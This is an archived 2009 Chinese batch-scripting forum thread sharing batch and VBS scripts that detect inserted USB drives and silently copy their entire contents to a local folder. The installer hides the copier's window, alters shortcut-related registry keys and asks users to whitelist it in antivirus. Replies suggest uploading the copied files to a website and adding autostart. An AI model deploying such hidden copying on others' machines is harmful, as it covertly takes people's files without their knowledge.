批处理之家's Archiver

Batcher 发表于 2009-3-17 21:03

批处理判断U盘已插入并自动复制所有内容

[quote]方案一:原来写了有两个版本,一个用了SLEEP,一个用ping,功能都是一样滴,现在我把两个综合了,在,没有SLEEP的情况下照常使用!
其他的情况看说明!希望高手修改加精!

按照惯例,源码是公开的,大家可以修改,但在可能的情况下尽量保持原作者的信息,这不仅是对别人劳动成果的尊重,也是做人的基本道理。。。[/quote]
copy.cmd[code]@echo off
title $$$$*晗*晗*制*造*$$$$
mode con: cols=14 lines=1
:again
cls
del /Q /f "%temp%\copy.tmp" >nul 2>nul
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%\copy.tmp"
findstr /i "可移动驱动器" "%temp%\copy.tmp"
if errorlevel==1 goto end
if errorlevel==0 goto copy
:end
rem 没有检测到可移动磁盘!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again
:copy
if exist c:\copy goto goon
cd\
cd /d c:
md copy  
:goon
for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%\copy.tmp"') do (
xcopy /e /y  %%i\*.* c:\copy >nul 2>nul
)
rem 已复制,请及时清理文件!
if not exist %temp%\sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul
%temp%\sleep.exe 20s
goto again[/code]安装U盘自动复制.cmd[code]@echo off
mode con: cols=80 lines=40
color 17
:start
cls
title $$$$*晗*晗*制*造*$$$$
echo.
echo.
echo.
echo.
echo     ====================================================================
echo.
echo.
echo                              安装U盘自动复制
echo.
echo                     欢迎使用,请选择选项(1,2,3,4,5,6)
echo.
echo.
echo                                [1] 安装程序
echo                                [2] 运行程序
echo                                [3] 关闭程序
echo                                [4] 卸载程序
echo                                [5] 生成快捷方式
echo                                [6] 使用帮助
echo                                [7] X键关闭
echo.
echo.
echo.
echo          提示:如果你计算机安装有杀毒软件,请授权此VBS代码!
echo.
echo.                 
echo.
echo.
echo                          $$$ 晗晗制造,版本1.0 $$$
echo.
echo     ====================================================================
echo.
set /p choice=请输入:
if {%choice%}=={} goto start
if /i %choice%==1 goto install
if /i %choice%==2 goto open
if /i %choice%==3 goto close
if /i %choice%==4 goto uninstall
if /i %choice%==5 goto shutcut
if /i %choice%==6 goto help
if /i %choice%==x goto shut
goto start



:install
rem ==============================安装程序=============================
if exist %temp%\copy.cmd del /Q /f "%temp%\copy.cmd"
copy copy.cmd "%temp%\copy.cmd" >nul 2>nul
copy sleep.exe "%temp%\sleep.exe" >nul 2>nul
rem ==============================隐藏窗口=============================
if exist %temp%\hide.vbs del /Q %temp%\hide.vbs
echo.
echo 如果你计算机安装有杀毒软件,请授权此VBS代码
reg delete "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg delete "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
set path=%temp%\copy.cmd
echo set ws=WScript.CreateObject("WScript.Shell") >"%temp%\hide.vbs"
echo ws.Run "%path%",0 >>%temp%\hide.vbs
rem ==============================建立终止=============================
echo @echo off >%temp%\kill.cmd
echo mode con: cols=20 lines=2 >>%temp%\kill.cmd
echo echo                    程序已经成功终止!>>%temp%\kill.cmd
echo pause ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill ping ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill xcopy ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill sleep ^>nul 2^>nul >>%temp%\kill.cmd
echo tskill cmd ^>nul 2^>nul >>%temp%\kill.cmd
echo exit ^>nul 2^>nul >>%temp%\kill.cmd
rem ==============================建立快捷=============================
:shutcut
echo.
if not exist "%temp%\hide.vbs" goto start
set path2=%temp%\hide.vbs
echo [InternetShortcut] >>U盘自动复制.url
echo URL="%path2%" >>U盘自动复制.url
echo IconIndex=29 >>U盘自动复制.url
echo IconFile=C:\windows\system32\shell32.dll >>U盘自动复制.url
set path3=%temp%\kill.cmd
echo [InternetShortcut] >>终止U盘自动复制.url
echo URL="%path3%" >>终止U盘自动复制.url
echo IconIndex=29 >>终止U盘自动复制.url
echo IconFile=C:\windows\system32\shell32.dll >>终止U盘自动复制.url
echo 成功结束!请直接运行快捷方式!
pause >nul 2>nul
goto start
rem ==============================安装结束=============================


:uninstall
rem ==============================卸载程序=============================
echo.
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
del /Q /f "%temp%\copy.cmd" >nul 2>nul
del /Q /f "%temp%\hide.vbs" >nul 2>nul
del /Q /f "%temp%\copy.tmp" >nul 2>nul
del /Q /f "%temp%\sleep.exe" >nul 2>nul
del /Q /f "%temp%\kill.cmd" >nul 2>nul
del /Q /f U盘自动复制.url >nul 2>nul
del /Q /f 终止U盘自动复制.url >nul 2>nul
echo 程序已经成功卸载!
reg add "HKEY_CLASSES_ROOT\lnkfile" /v IsShortcut /f >nul 2>nul
reg add "HKEY_CLASSES_ROOT\piffile" /v IsShortcut /f >nul 2>nul
pause >nul 2>nul
goto start
rem ==============================卸载结束=============================


:open
rem ==============================运行程序=============================
echo.
if not exist %temp%\copy.cmd goto start
"%temp%\hide.vbs"
echo 程序已经成功开始自运行(20秒扫描一次)!
pause >nul 2>nul
exit
rem ==============================运行结束=============================



:close
rem ==============================终止程序=============================
echo.
if not exist %temp%\copy.cmd goto start
echo 程序已经成功结束自运行!
pause >nul 2>nul
tskill ping >nul 2>nul
tskill xcopy >nul 2>nul
tskill sleep >nul 2>nul
tskill cmd >nul 2>nul
exit
rem ==============================终止结束=============================




:help
rem ==============================使用帮助=============================
cls
echo.
echo.
echo   本工具适用于Windows XPsp2系统,由此造成的一切损失,本人不负任何责任.
echo.
echo.
echo   使用方法: 1 点击安装程序
echo.
echo             2 如果你计算机安装有杀毒软件,请授权此VBS代码
echo.
echo             3 第一次安装可能需要先运行,然后结束一次才能生效(视系统设置而定)
echo.
echo             4 安装后请用快捷方式启动或者关闭,无需用安装程序启动
echo.
echo             5 本程序可以在U盘插入前运行,也可以在插入后运行
echo.
echo             6 点击运行程序,程序将自动每20秒执行一次
echo.
echo             7 请确保你的c:\有足够的空间,程序运行时候建议不要插移动硬盘
echo.
echo             8 请务必确认你要copy的U盘无毒
echo.
echo             9 本程序在扫描时比较占内存,建议每次使用后关闭
echo.
echo            10 建立的快捷方式,你可以改名并把它放在任何地方,包括启动菜单
echo.
echo            11 请及时清理默认保存目录c:\copy文件夹里边的文件
echo.
echo            12 本软件不保证copy数据的正确性
echo.
echo            13 本软件不要使用于非法用途
echo.
echo.
echo    本软件为免费软件欢迎大家使用
echo.
echo    按任意键返回主菜单
pause >nul 2>nul
goto start
rem ==============================帮助结束=============================


:shut
rem ==============================关闭程序=============================
exit
rem ==============================关闭结束=============================[/code]打包下载:[attach]1042[/attach]
[quote]方案二:其实用VBS可以完成此工作,且隐藏进行(如下例)。这个脚本的好处是,对那些识别为移动硬盘类型的U盘也可以成功复制文件。[/quote][code]1. 监视新增所有驱动器,并复制所有新驱动器中的文件到D盘下
'随时监视插入的U盘或移动硬盘,有则自动复制其中的所有文件到d:\Tmp中
'把 fso.CopyFile 改成 fso.CopyFolder 则可以复制文件夹
'注意:包括隐藏和系统属性的文件或文件夹均被复制
'覆盖true 不覆盖false  不能覆盖具有只读属性的文件和文件夹
'若出现多个新盘符的话,每个盘中的文件均被复制

Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 3 Then
        If objEvent.Path_.Class = "__InstanceCreationEvent" Then
               NewDri = objEvent.TargetInstance.DeviceId
               fso.CopyFile NewDri & "\*","d:\Tmp\",true
        End If
    End If
Loop[/code]2.监视新增驱动器,只复制其中第1个分区中的所有文件到D盘下[code]Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 3 Then
        If objEvent.Path_.Class = "__InstanceCreationEvent" Then
               i=i + 1
               NewDri(i) = objEvent.TargetInstance.DeviceId
               fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
        End If
    End If
Loop[/code]原文地址:[url]http://www.cn-dos.net/forum/viewthread.php?tid=25190[/url]

二手普桑 发表于 2009-3-17 21:41

Dim NewDri(9)
Set fso = CreateObject("Scripting.FileSystemObject")
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colEvents = objWMIService.ExecNotificationQuery ("Select * From __InstanceOperationEvent Within 5 Where " _
        & "TargetInstance isa 'Win32_LogicalDisk'")
Do While True
    Set objEvent = colEvents.NextEvent
    If objEvent.TargetInstance.DriveType = 3 Then
        If objEvent.Path_.Class = "__InstanceCreationEvent" Then
               i=i + 1
               NewDri(i) = objEvent.TargetInstance.DeviceId
               fso.CopyFile NewDri(i) & "\*","d:\Tmp\",true
        End If
    End If
Loop

能具体解释下么````新手学习中

Batcher 发表于 2009-3-17 22:06

回复 2楼 的帖子

你可以先到VBS教学区看看教程

5566ljlj 发表于 2009-4-3 23:10

我来学习一下。

qq524679427 发表于 2009-4-7 18:56

O(∩_∩)O哈哈~,收益啊 ,O(∩_∩)O谢谢

i520king 发表于 2009-8-15 20:27

学习学习了

a690984119 发表于 2009-9-25 21:40

ddddddddddddddddddddddddddddddd

极品小猫 发表于 2012-11-4 23:46

神作, 感谢分享, 正在找相关的小工具, 没想到先发现了批处理

conglin58 发表于 2012-12-30 22:32

原来这个批处理这么早就有人写出来了!厉害!

zsl200911 发表于 2013-3-19 10:27

学习学习,谢谢

blessing 发表于 2013-6-13 12:30

太好了,要是能上传到指定的网站就更好了。

iph111 发表于 2013-8-11 22:46

建议每次重新初始化一下选项。:)

dirtymoney 发表于 2013-9-4 11:20

新生来提建议:加入开机启动

bathhome 发表于 2013-9-28 15:18

感谢转帖,认真学习中

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.